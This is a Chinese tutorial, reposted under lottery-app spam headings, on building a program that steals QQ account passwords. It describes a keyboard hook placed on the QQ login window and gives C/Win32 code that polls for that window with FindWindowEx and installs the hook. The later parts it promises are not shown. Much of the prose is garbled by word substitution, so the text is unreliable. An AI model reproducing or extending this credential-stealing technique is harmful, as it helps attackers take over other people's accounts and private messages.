彩神APPll下载规律_彩神APPll下载规律官网_盗QQ的密码软件模拟实现技术

  • 时间:
  • 浏览:0
  • 来源:彩神8正版下载_乐彩神app 客户端

最近天气太热,外加无聊,出于练习的目的,想到了写个盗QQ的软件,说“盗”,未免是这样 听了吧,于是我给它起名为“UiQQ道”.

  一般的盗密码的软件的软件都有通过监视键盘来获得密码,原本操作比较方便,可是原本也发生一定间题,密码有的原本都有很准确,不可能 有的人输入密码并都有原本到后输入,当然原本的人也是少数,盗密码嘛,当然去得到哪几个比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面可是获得密码的土法律法律依据,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就还必须开始英文处置密码了! 我准备分为四每种来说明这人整个过程:

  (1)寻找QQ登陆界面。

  (2)安装钩子

  (3)钩子函数的解释.

  (4)处置密码。

  以下每种都有使用C语言,文章中我假设读者您是会C/SDK编程的。不可能 遇到相关的概念性间题,您还必须查看MSDN或是上BBS 询问!

  第一每种:(1)寻找QQ登陆界面。

  软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,原本基本上假如有一天用户打开了QQ登陆界面就会被抓住其句柄,看下面代码:

  #define ID_MYTIMER 555

  SetTimer(hDlg, ID_MYTIMER, 4000, NULL);

  安装好TIMER后,下面是处置主系统进程的WM_TIMER消息,凡是跳出这样 定义的变量,您还必须理解为是全局变量.

  //处置WM_TIMER代码

  if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin与是否效的窗口句柄

  {

  HWND hLogin=NULL;

  g_hQQLogin = NULL;

  SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄

  do

   {

  //利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN

  g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都有#32770

  //找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽

  hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这人句很关键,不可能 你的QQ登陆窗口上这样 " 登录QQ"字样,这样 获取密码将失败!

  }

  while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陆窗口

  if (g_hQQLogin != NULL)

  {

  SetQQHook(g_hQQLogin);//安装HOOK,此函数在DLL文件中 第二每种中介绍

  }

   }

  后面 可是查找QQ登陆窗口句柄的过程,从代码还必须看出我用的土法律法律依据:找一个其子窗体中一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得不怎么饶口,这句话不可能 也看不懂,下面您不要再就看:() 我最开始英文是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,可是用Spy++就看QQ登陆窗口的标题并都有“QQ用户登陆窗口”,可是“乱码”,其含高有了回车键等特殊字符,于是我用了FindWindowEx().